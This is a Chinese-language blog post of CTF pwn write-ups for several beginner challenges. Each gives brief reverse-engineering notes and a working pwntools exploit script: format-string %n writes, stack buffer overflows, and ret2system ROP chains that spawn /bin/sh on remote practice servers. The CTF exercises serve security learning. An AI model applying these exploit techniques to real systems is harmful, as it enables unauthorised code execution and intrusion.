getshell
nc后直接cat flag即可
CGfsb
ida代码进行审计,printf(&s)存在格式化字符串漏洞,可以泄露栈地址
双击pwnme可以查看其地址,
1、我们需要将pwnme的地址输入到s中去
2、在合适的位置上加一个%n
,使其与我们输入的地址对应从而造成漏洞利用 所以接下来的问题变成了如何让他们对应起来
通过格式化字符串漏洞找到偏移量
可知,偏移量为10
撰写exp
from pwn import *
r = remote('220.249.52.134', 35910)
pwnme_addr = 0x0804A068 #pwnme的地址
payload = p32(pwnme_addr) + 'aaaa' + '%10$n'
r.recvuntil("please tell me your name:\n")
r.sendline('snowywar')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()
hello_pwn
开启了NX保护(代码不可执行)
丢入ida分析
程序简单,unk_601068距离dword_60106c为四个空值
让dword_60106c等于1853186401即可getflag
exp
from pwn import *
p = remote('111.200.241.244',49196)
context.log_level = 'debug'
bf_1= 'A' * 4 +p64(1853186401)
#p.recvuntil("lets lets get helloworld for bof\n")
p.sendline(bf_1)
p.interactive()
level2
checksec一下
开启了NX保护,放入ida进行分析
直接读入数据,读&buf,共有0x88偏移
寻找system进行构筑rop链,
字符串可发现/bin/sh,构筑exp
from pwn import *
p = remote('111.200.241.244',30664)
context.log_level = 'debug'
bin_sh = 0x0804A024
sysaddr = 0x08048320
payload = 'a' *0x88+'b'*4+p32(sysaddr)+p32(0)+p32(bin_sh)
p.send(payload)
p.interactive()
cgpwn2
经典查看保护,然后开ida进行分析
main函数啥也没干,看hello
gets函数存在溢出,
调用system,但是没有/bin/bash
name地址段固定
收集system的地址,
转写exp
from pwn import *
context.log_level = 'debug'
r = remote('111.200.241.244',45215)
sys_addr = 0x8048420
addr = 0x0804A080
r.recvuntil('your name')
r.sendline('/bin/sh')
r.recvline('leave some message here:')
payload = 'a' * 0x26 +'aaaa'+p32(sys_addr)+p32(0)+p32(addr)
r.sendline(payload)
r.interactive()
when_did_you_born
基操
没有开PIE,进入ide进行分析
v4是存在溢出的,同时
第一次要保证v5不能等于1926,那就让v4进行溢出覆盖v5的值即可
v4,v5距离八个字节,
exp:
from pwn import *
context.log_level = 'debug'
p=remote("111.200.241.244",31405)
p.recvline("What's Your Birth?")
p.sendline('a')
p.recvline("What's Your Name?")
p.sendline("a"* 8 + p64(1926))
p.interactive()
level2
题目说了用ROP ,那就懒得去checksec了,直接ida分析
主函数调用vulnerable_function();
function处啥也没干,就是进行输入。
通过字符串窗口找到/bin/sh,确定地址
最后跟一下system,直接构筑payload语句getshell
#encoding=utf-8
from pwn import *
context.log_level = 'debug'
p=remote("111.200.241.244",30834)
p.recvline("Input:")
elf = ELF('/home/ubuntu/桌面/p1')
payload = 'a' * (0x88+0x4) +p32(elf.symbols['system'])+'a' * 4 +p32(0x804A024)
p.sendline(payload)
p.interactive()
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容